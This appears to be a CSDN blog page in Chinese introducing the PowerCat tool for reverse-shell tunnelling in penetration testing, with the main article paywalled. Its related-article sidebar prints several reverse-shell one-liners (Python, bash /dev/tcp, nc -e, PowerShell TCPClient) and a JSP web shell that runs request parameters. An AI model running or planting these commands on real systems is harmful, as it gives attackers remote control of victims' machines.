[ 隧道技术 ] 反弹shell的集中常见方式（三）powercat反弹shell

已于 2022-09-04 23:28:30 修改
阅读量751 收藏 24
点赞数 30
分类专栏： 渗透测试自学篇 文章标签： 反弹shell powercat 内网穿透 getshell 隧道技术
于 2022-09-04 17:29:57 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_51577576/article/details/126682933
版权
本文详细介绍了PowerCat工具的安装、命令使用，以及如何通过PowerCat实现正向、反向连接，包括文件传输和生成payload进行权限获取。通过实例展示了PowerCat在渗透测试中的应用。
摘要由CSDN通过智能技术生成

🍬 博主介绍

👨‍🎓 博主介绍：大家好，我是 _PowerShell ，很高兴认识大家~
✨主攻领域：【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯（一键三连）😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限，欢迎各位大佬指点，相互学习进步！

文章目录

一、PowerCat介绍

PowerCat是一个powershell写的tcp/ip瑞士军刀，看一看成ncat的powershell的实现，然后里面也加入了众多好 用的功能，如文件上传，smb协议支持，中继模式，生成payload，端口扫描等等。
（简单理解：powershell写的nc，功能比nc多，nc最大的功能就是正向反弹和反向反弹）

了解本专栏 订阅专栏 解锁全文 超级会员免费看
_PowerShell
关注
专栏目录
订阅专栏
内网隧道代理技术（六）之 PowerCat反弹Shell
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
06-25 675
PowerCat是一个powershell写的tcp/ip瑞士军刀，看一看成ncat的powershell的实现，然后里面也加入了众多好用的功能，如文件上传，smb协议支持，中继模式，生成payload，端口扫描等等。
[ 隧道技术 ] 反弹shell的集中常见方式（四）python反弹shell
qq_51577576的博客
09-06 1372
python反弹shell python2 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.192.1',55555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
windows 反弹shell_windows版瑞士军刀powercat之牛刀小试
weixin_39963080的博客
12-12 252
时间过的太快，又到深夜了，又要开始刷抖音或网抑云了。今天一位同事因为晚上没有加班，去拿20块钱的夜宵，被举报了。这种在领导面前打小报告的人，职场里面非常多。同事之间要多堤防着，保不准哪一天其中有人会出卖你。这篇文章做了4个小实验：powercat 正向shell（windows-linux）powercat 反向shell（windows-linux）powercat 反向powershell（w...
powershell反弹shell
x10n9的博客
03-09 476
powershell反弹shell。
PowerShell 反弹渗透技巧
weixin_30790841的博客
08-15 271
Windows PowerShell 是一种命令行外壳程序和脚本环境，使命令行用户和脚本编写者可以利用 .NET Framework的强大功能，并且与现有的WSH保持向后兼容，因此它的脚本程序不仅能访问.NET CLR，也能使用现有的COM技术，同时也包含了数种系统管理工具、简易且一致的语法，提升管理者的管理能力，自Windows 7 开始一直到Windows 10 包括服务器Windo...
反弹shell
A_Alger的博客
09-09 296
多种姿势反弹shell bash attacker 监听 nc -lvvp 4444 victim 运行 bash -i >& /dev/tcp//4444 0>&1 nc 支持 -e 选项 attacker 监听 nc -lvvp 4444 victim 运行 nc 4444 -t -e /bin/bash python attacker 监听 nc -...
[ 隧道技术 ] 反弹shell的集中常见方式（一）nc反弹shell
qq_51577576的博客
08-03 1854
攻击者机器 192.168.3.27 和靶机 192.168.3.29 可以相互的访问，这个时候可以使用正向shell攻击者机器 192.168.3.27 不能直接访问靶机，但是靶机 192.168.3.29 可以访问攻击者的机器，这个时候使用反向shell。...
反弹 shell 常见方式详解（非常实用）
10-18
反弹 shell 常见方式详解（非常实用） [ 隧道技术 ] 反弹shell（一）nc反弹shell [ 隧道技术 ] 反弹shell（二）bash...[ 隧道技术 ] 反弹shell（三）powercat反弹shell [ 隧道技术 ] 反弹shell（四）python反弹shell
[Shell]Powershell反弹shell
baguangman5501的博客
09-08 1201
原作者：Cream 文章出处： 贝塔安全实验室 0x01 Powershell反弹shell Windows PowerShell 是一种命令行外壳程序和脚本环境，使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。它引入了许多非常有用的新概念，从而进一步扩展了您在 Windows 命令提示符和 Windows Script Host 环境中获得的知识和创建的脚本。...
powershell反弹shell常见方式
UKK
03-05 1954
powershell反弹shell常见方式 http://www.ifind.cc/view/154
【渗透测试笔记】之【内网渗透——传输层隧道（PowerCat的使用：正反向shell、文件传输、dns隧道、生成powershell payload、内网转发）】
AA8j的博客
10-22 998
写在前面：PowerCat是PowerShell版本的nc，主要用于windows平台。 1 实验环境 kali（攻击机，外网地址：192.168.8.48） Windows2012（边界服务器，外网地址：192.168.8.57，内网地址：10.1.1.10） CentOS7（边界服务器，外网地址：192.168.8.35，内网地址：10.1.1.13） DC（内网地址：10.1.1.2） 2 下载与部署 2.1 下载 下载地址：https://github.com/besimorhino/powerc
反弹Shell的方式和详解
热门推荐
Kevin's Blog
06-18 1万+
文章目录一、介绍1.1 含义1.2 目的二、反弹方式2.1 Bash反弹shell2.1.1 适用对象2.1.2 操作方法2.1.3 命令原理 声明：以下的反弹shell的介绍只适用于学习和授权情况下的操作，请勿用于非法环境！ 一、介绍 1.1 含义   攻击者所在机器连接目标机器为正向连接（如：远程桌面、ssh等），反向连接弹shell（反弹shell为攻击者为服务端，受害者主机主动连接攻击者的服务端程序） 1.2 目的 攻击了一台主机需要在自己的机器上交互式地执行目标机器中的cmd/bash命令
各种powershell反弹脚本
weixin_30235225的博客
05-25 145
含(tcp/udp/icmp/dns/http/wmi/http/https) https://github.com/samratashok/nishang/tree/master/Shells 还想再提一下这个项目（powershell版的nc） https://github.com/besimorhino/powercat ## 来源 http://www.labofa...
[笔记]Windows安全之《一》反弹Shell
二次元怪兽的博客
04-01 2103
powershell反弹shell常见方式 文章目录正向连接和反向连接（反弹连接）PowerShell的配置常见的反弹Shell总结 正向连接和反向连接（反弹连接） PowerShell的配置 常见的反弹Shell 总结
【信息安全】反弹shell
Nicky_Zheng的博客
12-02 231
1、windows-powershell反弹shell kali作为服务端，windows使用powershell连接kali，并将自己的shell给kali windows端 $client = New-Object System.Net.Sockets.TCPClient('192.168.57.200',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($byte
反弹shell总结
桀骜不逊
02-09 1149
nc反弹shell 正向shell nc -lvp 1234 -e /bin/bash # linux 服务端（被攻击的主机） nc -lvp 1234 -e c:\windows\system32\cmd.exe # windows 服务端（被攻击的主机） nc host.example.com 1234 # linux 客户端 rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l host.example.
反弹Shell总结
code_lab
09-05 793
jsp shell<%@ page import="java.io.*" %> <% try { String cmd = request.getParameter("shell"); //获取参数 Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStre
windows反弹shell方法
最新发布
09-21
Windows反弹shell有多种方法，其中包括Powercat反弹shell、Nishang反弹shell和使用邮件地址作为反弹shell的服务器地址。 Powercat反弹shell是一种通过PowerShell实现的方法。攻击者可以在目标机器的cmd中执行命令，...
评论 54
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_PowerShell

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值